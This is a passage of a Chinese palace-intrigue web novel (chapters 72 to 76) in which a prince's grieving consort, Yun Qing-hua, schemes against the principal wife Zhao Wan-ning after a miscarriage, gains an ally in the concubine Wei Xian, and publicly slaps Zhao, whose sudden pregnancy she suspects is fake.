“王爷,老夫僭越,敢问此事您是如何处理的?”诸葛贤拱手,深深鞠了一躬。 不必明说,裴墨染也知道他问的是什么。 “本王将王妃禁足了。”他不带感情地说。 诸葛贤的眉头紧锁,他捋着胡子,“仅此而已?” “不然呢?”裴墨染攥拳,砰的一声砸桌,“难道要本王杀了王妃,你们才满意?” 他本就因为失去孩子的事难过,可诸葛贤还对他的处置不满。 这一下子点燃了他的怒火。 诸葛贤想到了赵婉宁的私生子,想要开口,却不知道如何开口。 这件事一说出来,王爷的颜面会彻底扫地。 传出去的话,战神的威名也会沦为笑柄。 诸葛贤欲言又止,止又欲言,“老夫不敢,只是王妃闹出此等事端,皇上未免会迁怒王爷。王爷还是尽快把丢失的官银找回吧,这样也好打消皇上的疑虑。” “本王会的。”裴墨染信誓旦旦。 …… 晚上,裴云澈来到了北镇抚司。 他跟裴墨染大吵了一架。 裴墨染心头的火气难平,他不悦道:“皇兄,这是本王的家事,您未免也太过关心了。” “就连本王都要敬云丞相三分,你怎么敢屡次伤害云侧妃?”裴云澈恨不得一剑杀了他。 蛮蛮在信上说了,赵婉宁将她推下水,是裴墨染默许的。 因为他们都不想蛮蛮的孩子,生在赵婉宁的前面。 “本王会好好补偿蛮蛮,皇兄放心。”裴墨染正色道。 裴云澈的双眸微眯,他居高临下的轻拍裴墨染的肩膀,“墨染,本王有时真的有些后悔,当初不该拆散你跟王妃。这样的话,就不会闹得如此难看的局面。” 裴墨染心中很是不悦。 当初明明是他跟皇后主动放弃蛮蛮的,现在还有脸惋惜? 况且,蛮蛮喜欢的人是他。 裴云澈未免也太自作多情了。 第72章 盟友加入 裴墨染在北镇抚司忙了半个月,官银的事查出了眉目,他才得空回府。 他心想着,现在蛮蛮应该消气了。 可到了玄音阁,他却推不开寝殿的门,门内又落锁了。 他的面色阴沉,气得恨不得踹门。 婢女害怕不已,整整齐齐地跪了满庭院。 “蛮蛮,你还是不想见本王?”裴墨染的心中难受。 云清婳不咸不淡道:“臣妾小产了,是不祥之人,不便见王爷。” “你怎会不祥?莫要胡说!蛮蛮是本王的福星。”他心疼地说。 她操着例行公事的语气,“皇后娘娘前些日子又送来了纳妾的名册,王爷不在府邸,王妃尚在软禁,所以臣妾斗胆答应了。” 裴墨染气闷,她怎能答应让其他女人入府? 她怎么可以如此大度? 但他想着,她一个小丫头,怎能抵挡得住强势的皇后,他又不忍心责怪。 “这些都不重要!蛮蛮,本王想你了。”裴墨染的声音干涩。 云清婳扯出一抹讥讽的笑,狗男人,装什么情圣? 她疲惫地说:“今日来探望臣妾的人很多,臣妾累了。” “蛮蛮,不要跟本王生分了。”裴墨染说出心里话,“你好生歇息。” “臣妾恭送王爷。”云清婳故意咬重臣妾二字。 裴墨染的心像是被一只无形的手狠狠揪住。 他此刻的确有些后悔了。 当初,他给赵婉宁的责罚的确轻了。 或许再重一些,蛮蛮就不会如此失望了。 他走去窗台,透过缝隙,悄悄打量着云清婳。 她坐在坐榻上,手里捏着给孩子做的虎头鞋、虎头帽,怅然若失地盯着它们看。 一段日子没见,她清瘦了不少。 “主子,您这是何必?犯错的人是赵婉宁,又不是王爷。”飞霜劝道。 “我知道不怪他,可是一看见他,我就会想起他是怎么包庇赵婉宁的。”说着,她将虎头鞋、虎头帽丢进火盆。 裴墨染想要阻止,可是来不及了。 火势倏地变大,黑烟滚起,布料被燃烧殆尽。 他的心仿佛也被跟着一起燃烧。 失去了孩子,蛮蛮心里难过,难道他的心里就好受吗? “烧了也好,孩子也定不想看您陷进去。”飞霜轻拍她的背脊。 云清婳吐出一口浊气,“倘若我嫁给贩夫走卒就好了,他一定只会有我一个妻子,疼我爱我。” 飞霜忍不住笑了,“贩夫走卒哪里配得上您?” “愿得一人心,白首不相离。”她一字一顿。 裴墨染的手缓缓攥起来。 蛮蛮所求,他这一辈子都不可能满足。 他心底有气,怪蛮蛮的绝情,但却不敢发泄。 裴墨染颓丧地走出玄音阁。 他一出门,便看见了万嬷嬷。 万嬷嬷冲他摇摇头,“老奴跟白嬷嬷、桂嬷嬷都来劝了,云侧妃固执得很,不肯放下。” 裴墨染心中的不安正在放大,他正色道:“万嬷嬷,本王想让蛮蛮当平妻。” 这话把万嬷嬷吓到了。 这不是胡闹吗? 寻常人家也就罢了,这可是皇室,更何况这跟宠妾灭妻有什么区别? “老奴说句不该说的,皇室没有这样的先例,更何况您也没有理由请旨。”她叹气。 裴墨染一哽。 …… 接下来的一个月,裴墨染每日都会来玄音阁。 可云清婳皆闭门不见。 渐渐地,裴墨染来得少了。 在皇后的干预下,裴墨染只能去临幸沈沁、魏娴。 云清婳坐在榻上,悠悠地吃着板栗。 飞霜不禁忧心,“主子,怎么办?王爷好像耐心耗尽了,咱们的戏是不是过了?” “放心吧,男人就是贱,得不到的才是最好的,我给他的惩罚还没结束呢。而且,我还想验证一件事情。” “什么事情啊?”飞霜手里绞着帕子。 她正欲回答,砰—— 门被一股大力打开。 一个身影闯了进来。 云清婳的身躯一震,她忙不迭扯上被褥躺下。 魏娴走到床榻前,“云清婳,王爷接连三日临幸了我,还赏赐我了好几箱珍宝。” “昨日,王爷还赏赐了我一匹紫色的流光锦,穿在身上熠熠生辉,你看看。” 云清婳平静地看着她,眸中没有波澜。 “当然,王爷也宠幸了沈沁!说不定过几日就会宠幸崔夫人、王妃。”魏娴扎心地说。 可云清婳的脸上仍旧没有波澜,只是不解地望着她。 魏娴突然怒了,她教训道:“云清婳,你振作一点!你可是京城第一贵女,怎么能为了男女情爱,为了一个男人的偏心,就这样作践自己?” “你是怎么输的,就该怎么夺回来!你甘心吗?让赵婉宁一次又一次地夺走你的东西!” 云清婳的眸子一缩,睁圆了眼睛,“你……” 飞霜都傻眼了。 她不明白魏娴为何突然来说这些。 魏娴压低声音,“谢容音救过我娘,闲聊时,她向我们提到过你。进府后,我便想着帮你,就当还谢姑娘的恩情了。” 泪珠从云清婳的眼中滚落而出。 “云清婳,你振作起来!若是没猜错,谢姑娘的死跟赵婉宁脱不了干系,你甘心让她无病无灾地活着?”魏娴看着她的双眼。 “你是怎么知道的?”云清婳问。 魏娴分析:“你跟谢姑娘感情那么好,你明明有更好的选择,怎会甘愿嫁给她曾经的未婚夫婿?只有一个可能,那便是嫁给他,你能给谢姑娘报仇。” 云清婳很满意魏娴的回答,她猜得没错,魏娴果然跟姐姐有渊源。 她就喜欢聪明的盟友。 “放心吧,我会振作的。”她伸出手。 魏娴回握住她的手,眼神坚定,“别跟王爷闹脾气了,情爱不如权力,一个男人罢了,不值得你难过。” “我知道了。”云清婳的眼神渐渐聚起了光。 “只是你闹得太难看了,如今怎么收场?”魏娴坐在床榻边缘,担心地问。 “好收场得很。”她起身,附在魏娴耳边说了什么。 魏娴面颊泛红,“看不出你是这样的人。” “帮帮我吧。”云清婳抓着她的手娇嗔。 她的眉眼生得精致,撒起娇来,无人能抵挡。 魏娴臊得不行,轻声说:“知道了。” 送走魏娴后,飞霜还是懵的。 “主子,魏娴可靠吗?”她抓抓后脑勺。 云清婳反问:“魏娴害过我吗?” “不曾。”飞霜摇头。 她的脸色一黯,“这就够了。有的时候,不能看别人说了什么,要看她做了什么。” 第73章 中药了,蛮蛮救本王! 这一晚,裴墨染又敲响了云清婳的寝殿门。 云清婳立即将灯烛吹灭,“王爷,臣妾已经睡下了。” 裴墨染感觉自尊被她践踏在脚下。 都快两个月了,他日日讨好,可她依旧冷漠。 难道她真的打算跟他决裂? 此生再也不见? 她怎么忍心这样对他? “你不愿见本王,本王如你所愿。”他赌气地甩袖而去。 贴身太监看得出来,王爷是需要一个台阶。 他半玩笑道:“王爷,不如奴才把云侧妃的门给拆了?” “拆开房门又如何?本王打不开她的心门了。”裴墨染沉声说。 他有无数种办法见到蛮蛮,可他不敢看蛮蛮失望、埋怨的眼神。 …… 没几日,新一批的妾室就从角门被抬进了府邸。 这一批妾室,裴墨染皆没来得及给名分。 而裴墨染有空就往魏娴的院落去。 这让其他妾室羡慕不已。 花园中,几个妾室聚在一起谈天说地。 “听说京城第一贵女因为抓着王妃的错不放,得罪了王爷,二人现在还在冷战。” “真是假清高,非要跟王爷犟,现在王爷耐心耗尽,她还不如咱们呢。” “要我说,她就是福薄,所以生不出孩子!若是福泽深厚的人,掉进水里半个时辰,孩子也能生出来。” 几人笑成一团。 沈沁嫌弃地睨着她们。 明珠鄙夷道:“主子,这一批妾室实在太次了,听说都是小门小户的女子。” 她咳了咳,看向身边的魏娴,故意高声道:“魏夫人,你最近正得宠,可有什么法子?” 魏娴拍了拍腰间坠下的香囊,“这便是我的法子。” “里面莫非有催情药?”沈沁笑问。 “胡说什么呢?我说笑罢了,我怎敢算计王爷?”魏娴清冷地说。 妾室纷纷噤声,也不知这些话听没听进去。 …… 清心阁。 赵婉宁靠在贵妃榻上,悠悠喝着汤药,她嗤笑:“云清婳居然敢给王爷甩脸子,逼王爷罚我!真是不自量力,我跟王爷的情谊,岂是一个狐媚子,一个杂种能动摇的?” 青樱的眉头紧锁,王爷对王妃的态度愈来愈冷了。 恐怕事实并不像王妃想的这么乐观啊。 “可我什么时候才能解禁?若是有贱人趁我不在怀孕怎么办?”赵婉宁担心有人会趁机越到她的前面。 “王妃不必着急,有咱们的人在,不会有其他人怀孕的!而且,时间会冲淡一切,等王爷气消了,忘了云清婳小产这件事,您自然就被放出来了。”青樱盘算着。 赵婉宁听进去了青樱的话,她的眼中闪过狠厉的光,“让咱们的人,看紧云清婳!我要知道云清婳的一切动向。” 青樱福礼,“是。” …… 又过了半个月,裴墨染查出了官银案。 在皇后的催促下,他当晚便去了新一批入府的妾室的院子。 可他又一次被下药,他气得险些拔出剑砍断那人的脖子。 最后一丝理智让他命人将那人送去庄子上。 “王爷,奴才这就去请太医。”贴身太监担忧地说。 裴墨染的脸涨得通红,他浑身灼热,血液激涌。 他狠狠瞪了贴身太监一眼,“滚!” 没眼色的东西! …… 玄音阁。 此时,云清婳正命人熄灯。 飞霜低声问:“主子,今晚王爷真的会来吗?” “算着时辰,他也该来了。” 这可是她递给裴墨染的台阶,他必定会来。 正说着,砰—— 寝殿门被一脚踹开。 屋中光线昏暗,云清婳的青丝披散在脑后,她穿着绸白亵衣,立在唯一的烛台旁,娇美的小脸被火光照亮,她像一位救世神女。 裴墨染的脸涨得通红,双目充血,大步朝她走来。 云清婳似乎被吓到,她的唇瓣张张合合,“王爷,您怎么……唔……” 话还没说完,他走上前,一手揽住她的腰,另一只手托着她的脑袋,急不可耐地吻住她的唇瓣。 飞霜羞红了脸,忙不迭出去阖上了门。 “唔……” 云清婳嫌弃地挣扎,捏着粉拳捶打他的胸口,“放开,放开……” 裴墨染将她打横抱去床榻,笨拙地想通过这种死皮赖脸的方式,跟她和好。 “放开我,放开我……”云清婳的眼泪滚落而下。 他的口中尝到了淡淡的咸味,心中微痛,他的理智回笼,喑哑地解释:“蛮蛮,本王中药了。” 云清婳蹙眉,她撑起身子,“您稍等,臣妾去传府医。” “不行!”他捉住她的手,慌忙拦住她,“本王只要蛮蛮。” 她推搡着他的胸口,冷淡道:“那臣妾帮您找人解决。” 裴墨染气闷,她为何这么大度? 他死皮赖脸地压在她身上,装可怜道:“本王浑身都疼,好像快死了。” “臣妾身子不适,伺候不了,还望王爷体谅。”她一脸冷淡。 “想什么呢?本王又不是禽兽,知道你不方便。” 云清婳羞红了脸。 不知过了多久,帐中的动静才消停。 裴墨染餍足地将她搂进怀里,“那些女人都是不要命的,居然敢给本王下药。” 她推开他,冷淡地转身,用后脑勺对着他。 他也不恼,打趣道:“本王跟你说话呢,你后脑勺又没长眼睛。” “臣妾累了。”她淡淡道。 “蛮蛮,你真的要跟本王死生不相见吗?孩子没了,全天下只有你难过吗?本王就不难过吗?”裴墨染强硬地按住她的肩膀,让她平躺着,不得不看他。 他的双眼也红了。 云清婳双眼噙着泪,委屈地质问:“给王爷下药的人,王爷是怎么处置的?” 他知道,蛮蛮是想说,给他下药的人会得到惩罚。 可害死他们孩子的赵婉宁却可以逍遥法外。 她觉得不公平。 “蛮蛮,本王对她早已心灰意冷,心里除了失望便是悔恨。本王只是留着她一条命罢了,难道非要本王杀了她,你才满意?”裴墨染甚至连赵婉宁的名字都不愿念出来。 云清婳在心里冷笑。 曾经的海誓山盟,就这样被他抛之脑后,现在连赵婉宁的名字都不愿念出来。 这足以见得裴墨染有多绝情,他这样的人会爱谁呢? 他只爱他自己! 而且,赵婉宁就算被禁足,仍旧是肃王妃。 只要她一日顶着王妃的名号,一日便有复宠的可能。 狗男人的保证跟放屁一样! 第74章 放飞自我,痛扁赵婉宁 “臣妾的孩子没了,您给她的惩罚便是一辈子锦衣玉食、荣华富贵?”她质问。 裴墨染不喜欢她咄咄逼人。 可他却无力辩驳,“蛮蛮,这是最后一次了,本王已经忍她到了极点。如今本王心里只有你,本王已经在筹备请旨立你为平妻。” 他觉得说这些,蛮蛮应该会高兴。 云清婳嫌弃至极。 这不就是所谓的平替? 她当侧妃已经够憋屈了,可狗男人不仅没有把她扶正的想法,居然还想让她合理合法当妾,永远矮正妃一头。 “臣妾不要。”她脱口而出。 裴墨染只当她还在闹脾气,他抱着她,“蛮蛮,别这样跟本王说话,我们是夫妻。” 云清婳是真的被恶心到了。 她突然想到了一个有趣的玩法。 “我们真的是夫妻吗?”她的眸子晦暗不明,冷不丁问道。 裴墨染心中郁结。 她这是被伤到了,所以又不相信他了。 他亲吻她的脸颊,“自然,本王心中的妻子,只有你。本王已经看清她的为人,对她只有失望。” 若说对赵婉宁还有感情,大概只剩三年前在战场上的情谊。 可是他也用孩子的命抵了。 他这一次,真的不欠赵婉宁什么了。 “夫君,蛮蛮要检验您的爱。”云清婳在他腰间挠了一下。 裴墨染心中隐隐感到不安,他觉得蛮蛮的反应不对。 可还是被她的小动作撩到。 他抓住她作乱的小手,柔声斥道:“本王的药性还没消,别乱撩。” 云清婳不听,扑进他怀里,在他脖颈上轻咬,“那您欺负我啊。” “你真是坏透了。”裴墨染难受得不行,可是不敢动她。 他憋得满头大汗,最后还是去洗了冷水澡。 裴墨染一夜未眠,可云清婳却睡得香甜。 翌日清晨,天蒙蒙亮,云清婳便一如往常下榻,伺候裴墨染穿衣。 二人似乎恢复到了以前如胶似漆的状态,可只有裴墨染敏锐地感到哪里不对。 他轻捏云清婳的鼻尖,望向窗边,“纸鸢呢?” “烧了。”云清婳坦诚地说。 他蹙眉,严肃地问:“蛮蛮,倘若本王不来找你,你当真要跟本王疏远吗?” 云清婳的声音一噎,哽咽道:“可是,是夫君先不要蛮蛮跟孩子的。” 他的心像是遭到了重击,连忙投降:“是本王错了,是本王对不起你们。本王再命工匠给蛮蛮做一个。” “嗯。”她点头。 裴墨染的吻落在她的眉间,不悦道:“不许再把本王关在门外了。” “夫君,蛮蛮的脾气不好,出阁前就是如此。”云清婳冷不丁说了一句。 他一愣,揉揉她的脑袋,哄道:“本王没有怪你的意思,蛮蛮什么样,本王都喜欢。只是,夫妻间要相互包容,相互体谅,蛮蛮不要遇事就跟本王生分。嗯?” 他这是趁机点她。 让她包容他、体谅他,不要闹了。 云清婳听懂了,她乖顺地点头。 裴墨染离开玄音阁后,心中仍旧惴惴不安,脸上不见喜色。 明明蛮蛮唤他夫君了,也对他撒娇了。 可为何他还是提心吊胆的? 就在这时,他在门外看见了万嬷嬷。 万嬷嬷福身,“王爷,平妻之事,老奴还是想斗胆提一句,云侧妃的性子太软,恐怕不能寄予厚望啊。” “本王会考虑。”裴墨染敷衍的说。 这些对话,传进了玄音阁内。 云清婳从妆奁里挑了一枚棱角锋利的宝石戒指,戴在中指上,她冷嘁:“觉得我性子软?今日我就让他们好好看看!” 飞霜好奇道:“主子,所以您跟王爷和好了?” “还没呢!裴墨染应该感觉得到,我在对他虚与委蛇。”她慵懒扶着髻上的蝴蝶流苏步摇。 飞霜倒吸了口凉气,“王爷最讨厌女人算计他,这样会不会太冒险了?” 她活动了下手腕,“我失去了孩子,夫君还偏袒杀人凶手。我只是一个可怜缺爱的女人而已,我有什么错?” “主子,玄音阁的门今日打开了,咱们是不是要给新入府的妾室下马威?”飞霜的眼底透着隐隐的兴奋。 新入府的妾室天天编排主子,她们早就忍不住了。 “不!我是要给整个肃王府下马威!”她轻扬下巴,“去知会魏娴一声,我请她去清心阁看一出大戏。” “是!”飞霜眼中闪烁出激动的光。 主子这是要干票大的! …… 云清婳今日打扮得分外明艳,她仪态端庄,声势浩大地往清心阁的方向走去。 她的容貌美艳,让新入府的妾室都看傻了眼。 云清婳走后,几个妾室轻嗤:“漂亮有什么用?还不是个软骨头?孩子被人害了,连伸冤都做不到,最后还得靠献媚,求得王爷的原谅。” “啧,好可怜啊!” “秀才遇上兵,第一贵女哪争得过泼妇?” “呵呵呵……” 云清婳自然听到了她们的嘲讽,她勾唇,露出讥诮的笑。 “一群没规矩的!主子,不如奴婢去教训她们?”飞霜气得双臂颤抖。 云清婳瞥了她一眼,“不急!府里的人这么多,你哪儿教训得完?稍后,我会让全府上下心服口服。” 清心阁中,赵婉宁被关得太久,每日只能通过咒骂云清婳发泄。 众人赶到清心阁外时,门内正传出赵婉宁歹毒的咒骂:“杂种死得真好啊!” “云清婳,我诅咒你这辈子生不出孩子!” “就算生也会血崩而亡,而你的孩子缺胳膊少腿,天生弱智,肠穿肚烂哈哈哈哈……” 砰—— 门被打开。 云清婳寒着脸,气势汹汹地走来。 赵婉宁一哽,骂人的话被噎回喉咙里。 她气势不减,理不直气也壮,“你怎么来了?我已经被禁足,你怎可擅闯此地?” 云清婳的周身萦绕着寒气,她大步上前,扬起巴掌,狠狠朝赵婉宁的脸扇了过去。 啪—— 清脆的巴掌声响彻院落。 赵婉宁的脸都被扇歪了。 “我原本是想让你给我的孩子磕头赎罪的!现在看来,你不配。”云清婳一把抓住赵婉宁的头发,又恶狠狠地甩了几巴掌。 “啊……你敢打我,云清婳,我是肃王妃,你居然敢打我。”赵婉宁之前没反应过来,没想到向来装模作样的云清婳会发疯。 她现在反应过来,就想还手。 可云清婳身后的婢女立即抓住赵婉宁的胳膊。 “打你就打你,还要挑日子吗?”云清婳扬起巴掌,故意用锋利的戒指割她的脸。 不一会儿,赵婉宁的脸就被划出好几道血印子。 云清婳神清气爽。 这么久以来的账,是时候算一算了! 门外,婢女探头探脑地围了一圈。 管家、万嬷嬷以及各个管事也都来了。 青樱见状溜了出去。 魏娴想拦,却被云清婳用眼神制止。 云清婳的手打酸了,掌心通红,只好停下。 “贱人!贱人!等王爷来了,是不会放过你的!”赵婉宁怒骂。 “真的不能再打了,恐怕王爷要回来了,咱们快走吧。”魏娴害怕地抓住云清婳的衣袖。 她扯出抹笑,递出一个安心的眼神,“等着看吧,他不敢动我,甚至还要讨好我。” 第75章 讨好蛮蛮,罚赵婉宁 裴墨染就算是看在云家的份上也不敢动她,更何况她流产,裴墨染包庇赵婉宁,本来就是裴墨染理亏。 今日这出大戏,她一方面是为了出气,另一方面也是刺激赵婉宁继续做出不理智的事。 她就是要逼着赵婉宁不停地作妖! 裴墨染不是喜欢包容赵婉宁吗? 那就包容吧,只要别怕到时候私生子败露出来打脸! …… 正值晌午,青樱才跑出垂花门,便撞见了下马车的裴墨染。 她跪在马车前,哭喊道:“王爷,求您救救王妃吧!云侧妃滥用私刑,想要杀了王妃!” “蛮蛮?” 裴墨染难以置信,他大步朝清心阁的方向跑去。 …… 裴墨染赶到清心阁外时,正好看见几个玄音阁的婢女抓着赵婉宁的胳膊。 而云清婳正寒着脸,站在赵婉宁面前。 看到这一幕,一股火气登时窜上裴墨染的心头。 蛮蛮怎么可以滥用私刑? 她可把他放在眼里? 赵婉宁现在好歹是肃王妃! 赵婉宁被抽得两眼冒金星,面皮又疼又麻,口鼻像是被人灌了醋,酸疼得厉害。“贱人!我是肃王妃,你滥用私刑,王爷是不会放过你的!” “你杀死我的孩子,你都在清心阁养尊处优,我打你几巴掌而已,王爷难道还会处死我吗?”云清婳慢条斯理地反问。 此话一出,裴墨染有种被打脸的感觉。 是啊,蛮蛮敢这么做,都是他处事不公,放纵出来的。 赵婉宁的心尖一颤,竟然有些慌了,“你、你、你个贱人,岂是能跟我比的?你只是个妾,我跟王爷有五年的情谊!” 啪—— 云清婳又一巴掌扇了过去,“五年的情谊,所以你就要杀死王爷的孩子?” 她抬起手臂,还想再抡一巴掌,可一只大手从身后扼住了她的腕。 云清婳一回头,双眸微滞。 裴墨染见她冷静下来,松开她的手腕。 所有人跪了一地。 赵婉宁如同看见了救世主,她哭着大喊:“王爷,救命啊!王爷,云清婳想要杀我,她想要杀我!” 婢女放开赵婉宁,纷纷跪地。 “王爷……”赵婉宁满脸是血,她想要扑进裴墨染的怀中。 可裴墨染视线如冰,让她望而却步。 “王爷,您看看臣妾的脸,都是被云清婳打的,她滥用私刑,可有把您放在眼里?臣妾是上了玉碟的肃王妃,是皇上承认的儿媳,云清婳怎么敢的?”赵婉宁跪在地上,哭得涕泪横流。 裴墨染看着赵婉宁的惨状,眉头紧锁。 他还是有一丝怜悯赵婉宁,剩下更多的却是愤怒。 蛮蛮这是恃宠而骄了? 她怎能滥用私刑? 他可以宠爱一个女人,但绝对不允许女人爬在他的头上。 云清婳嘲讽的笑了,她反问道:“夫君这是心疼王妃了?” 裴墨染突然想起来,昨晚她说的要检验他对她的爱。 原来是这个意思! 难怪她变得这么不对劲。 她今日打赵婉宁不仅是为了出气,还是为了检验他会不会再次偏袒赵婉宁。 他一时之间不知作何回答。 他可是肃王,是她的夫君,是她的天! 只有他能质疑别人,蛮蛮怎么敢考验他? 裴墨染很想发火,可蛮蛮的表情明显带着挑衅,一副我就知道你在骗人的样子。 这场“考试”,他不想输。 他不想在一个女人面前丢了面子,也不想再让云家失望。 权衡利弊后,他最终妥协。 “手不疼吗?”他握住她滚烫的手。 云清婳似乎很意外,瞪圆了眼。 众人大惊。 赵婉宁眼珠子都快瞪出来,气得恨不得呕出二两血。 这个男人究竟有没有心? 她被打得这么惨,他的夫君不关心她这个正妻,却关心小三? “王爷,方才是王妃骂得太难听,主子才动手的。主子原意是想让王妃给死去的孩子道歉罢了。”飞霜从身后拿出孩子的牌位。 牌位上没有名字,只刻有猝亡的日子。 裴墨染的眸子一缩,心再次隐隐痛了起来。 他愤怒地看向赵婉宁,“你说了什么?” “……”赵婉宁心虚的吐不出一个字。 一个曾经被赵婉宁毁容的婢女道:“王妃诅咒孩子死得好,诅咒云侧妃生不出孩子,就算生也会血崩而亡。还说云侧妃只能生出缺胳膊断腿,智障,肠穿肚烂的孩子……” 云清婳的眼泪扑簌簌地掉,她的胳膊止不住的颤抖起来。 裴墨染的眼神中连最后的怜悯也没有,只剩失望,“从今往后,你的吃穿用度不必符合王妃规制,日日夜夜吃素穿纨,为本王的孩子祈福。” “呜呜呜……”赵婉宁抽噎地哭了出来。 云清婳的眼中尽是嘲意。 为一个根本不存在的孩子披麻戴孝? 真有趣。 裴墨染抓住云清婳的手腕转身就走,他的手劲很大,让云清婳吃痛。 她知道,狗男人虽然没有当场追究,可心里还是生气了。 赵婉宁恶狠狠地瞪着云清婳的背影。 飞霜冷嗤,“王妃,您瞪什么瞪?来人,剥去她的王妃服制,换上素纨。” 清心阁的婢女只好照做。 赵婉宁恨不得掐死飞霜,可偏生一群人看着,她下不了手。 众人都傻眼了。 云侧妃对王妃滥用私刑,可王爷居然没有追究云侧妃。 原本说风凉话的妾室,也面色惨白,恭敬起来。 …… 玄音阁。 裴墨染屏退了所有婢女。 他强大的气场铺天盖地席卷而来,冷簌簌地盯着云清婳。 裴墨染今日很生气,他不喜欢被女人左右。 可蛮蛮却故意殴打赵婉宁,借此测试他。 “王爷恕罪,妾身不该赌气打王妃。”云清婳跪了下去,眼泪大颗大颗地坠下,怯懦得像一只兔子。 裴墨染的心终究还是软了。 他将她扶起来,语气略带讽刺:“蛮蛮,今日你故意生事,是为了看本王的态度吧。” 云清婳似乎被戳穿了心思,羞愧之下,眼泪流得更凶了,“蛮蛮在王府只有夫君跟孩子。现在孩子不在了,夫君也不帮着我,所以我才想看看夫君心里还有没有我。” “我原本没想打王妃的,可是王妃骂得太难听了,她怎么能这样诅咒一个孩子?” 裴墨染的心刺痛,将斥责的话又咽了回去。 这次的确是赵婉宁犯了口忌,就算是不相干的人听了都觉得残忍,更何况是失去孩子的蛮蛮? 他转念一想,蛮蛮冰雪聪明,岂会不知闹事的后果? 可她不求名利,只求真心,只是想要他的态度罢了。 更何况,她还沉浸在丧子之痛里,所以才做了糊涂事,他实在没必要抓着不放。 “现在高兴了?本王的态度,你可满意?”裴墨染揩去她脸上的泪,没好气地问。 云清婳的泪不停地流,眼中充满了爱慕,“夫君,方才您护着蛮蛮,蛮蛮真的很意外,我都做好挨巴掌的准备了。” 她娇憨地吸吸鼻子,满脸认真。 他险些被她气笑,他堂堂大昭战神怎会打女人? 再说了,她羸弱娇小,轻得跟纸片似的,哪受得住他打? 他要是一巴掌下去,真怕把她的脖子折断。 “本王岂敢打你?整日乱想!”他抱着她,“日后要听话,本王不希望你变成王妃那样。嗯?” “夫君让王妃为孩子吃素祈福,蛮蛮觉得很好,蛮蛮以后都不会胡闹了。”她坦露心迹。 裴墨染屈指轻刮她挺翘的鼻梁,无奈道:“你呀,真是小气。” 云清婳靠在他的怀里,疲惫地说:“夫君,蛮蛮才不小气,蛮蛮可以受委屈,但我们的孩子不可以。” 他哑口无言。 是啊,蛮蛮处处忍让赵婉宁,若不是孩子没了,蛮蛮肯定会继续忍气吞声。 就在这时,管家急匆匆跑进了庭院,高声道:“王爷,王妃有喜了!” 第76章 赵婉宁自掘坟墓 府里又有了孩子! 这是天大的好消息! 裴墨染的眉头展开片刻又蹙起,他下意识看向云清婳。 只见云清婳的脸上露出几分伤感跟羡慕。 她向来如此,不争不抢。 “王爷,府医诊断,王妃动了胎气。”管家瞅了眼云清婳,小声补充。 “什么?”裴墨染松开云清婳,急匆匆地离开了。 云清婳看着裴墨染离开的背影,蔑笑了一声。 “主子,魏夫人来了。”飞霜禀报。 云清婳攒出笑容,“让她进来。” 魏娴急匆匆走进寝殿,她上下打量云清婳,“云侧妃,你没事吧?” “放心吧,我能有什么事?”她俏皮地冲魏娴眨眼。 魏娴素来循规蹈矩,稳重自持,她虽然比云清婳小一岁,却更像姐姐。 她缓缓吁气,凝眉道:“方才真是吓到我了,我还以为王爷会为了赵婉宁处置你。幸好,他对你还是有几分用心的。” “他不过是因为愧疚跟顾忌云家罢了。”云清婳直击红心的点明。 男人的真心,信三分就好了。 更何况是生性多疑的裴墨染? 魏娴见她想得通,当即放心了,她就怕云清婳耽于情爱,被男人的花言巧语骗了。 “你下完这步棋,赵婉宁就怀孕了,真的有这么巧的事?”她挑眉。 云清婳发现跟聪明人说话就是舒服,她笑道:“这明摆着是为了报复我,只是没想到她这么沉不住气。” “她十有八九是假孕,到时候动了胎气、小产都可以赖在你的头上。她害了你的孩子,你又害了她的孩子。到头来,王爷也会厌弃你的。”魏娴感到事情不妙,心里突突直跳。 云清婳拉着她的手,信誓旦旦地说:“我是故意引她自掘坟墓的!相信我,赵婉宁赢不了!” 魏娴心头稍安,回之信赖的目光。 第一贵女的名号可不是一般人能挣来的。 云清婳的能耐一定不小。 “这段日子,咱们得离赵婉宁远一点,当心被她赖上。”魏娴提醒。 她的眸子一眯,“我晓得了。还有一件事,府医是怎么被买通的?清心阁外面,一定还有赵婉宁的心腹。” 魏娴感觉后背有冷风正不停地往衣衫里灌,她环视四周,“说不定,内鬼就在咱们身边,我们要当心。” 云清婳颔首,“你放心,咱们会走到最后的。” “对,我们会走到最后。”魏娴的嘴角上扬,心中安定。 报团取暖终归是比单打独斗稳当! …… 清心阁。 赵婉宁笑吟吟地抚着小腹,脸上充满慈母般的光辉。 只是她的脸皮红肿,上面全是巴掌印跟血丝,这幅画面并不唯美。 她瞧见裴墨染进门,激动得忙不迭道:“王爷,咱们有孩子了!咱们终于有孩子了!王爷,府医说孩子快三个月了。” 裴墨染的反应并不大。 或许是经历了太多次孩子小产,早就失去出为人父的惊喜了。 他担心地问:“孩子怎么样了?” “府医说有点动了胎气,但是没关系,本来就是我不对,只要能让云妹妹出气,我受点罪也没什么。”赵婉宁一副宽宏大度的模样。 裴墨染一眼就看穿赵婉宁在攀咬云清婳,他的眼神晦暗。 尽管赵婉宁犯下大错,可她现在肚中怀了他的嫡长子,再计较下去有什么意义? 更何况,他有心夺嫡,这孩子会是他的一大助力。 谋大事者,眼中应该只有利益得失,至于是非黑白,不必太过计较。 “别多想,本王已经说过蛮蛮了。你要养好身子,顺利诞下孩子,为肃王府添丁。不要再做糊涂事了。”他伸出手,好似不计前嫌地轻拍赵婉宁的肩膀。 他原本以为看到赵婉宁怀孕,他会欣喜,他会觉得扬眉吐气。 但只有听到消息的那一刻,他是高兴的。 他跟蛮蛮才失去了一个孩子,心里的阵痛还未结束。 新生命的到来,并不能抚平他的伤口。 赵婉宁受宠若惊,她还以为王爷真的爱上云清婳了,跟她生分了。 可现在看来,王爷还是理智的,他没有被狐媚子迷了眼,他心里还是有她的! “王爷,您不怪臣妾就好,您快摸摸孩子,它方才受了惊吓,得用您的阳气压一压。”赵婉宁撒娇。 但她的脸实在有些骇人,没有半分美感。 裴墨染看着赵婉宁,心神早就不知飘到了何处。 他想到蛮蛮怀孕时,蛮蛮总会拉着他的手覆在小腹上,说让孩子提前跟爹爹认识。 他说她傻,蛮蛮就嘟着嘴,半晌不理他。 “王爷,王爷……”赵婉宁的眸中含着恼意,不满地叫了几声。 在她跟王爷这么温情的相处时刻,王爷为何频频走神? 难道还在想云清婳那个贱人? 裴墨染回过神来,他犹豫了片刻,淡淡地开口:“婉宁,好好养身子,清心阁解禁,一切恢复如常。” “多谢王爷!”赵婉宁的眼泪掉出了眼眶,她想要下榻谢恩。 可裴墨染拦住她,“不必了,好好养着。” 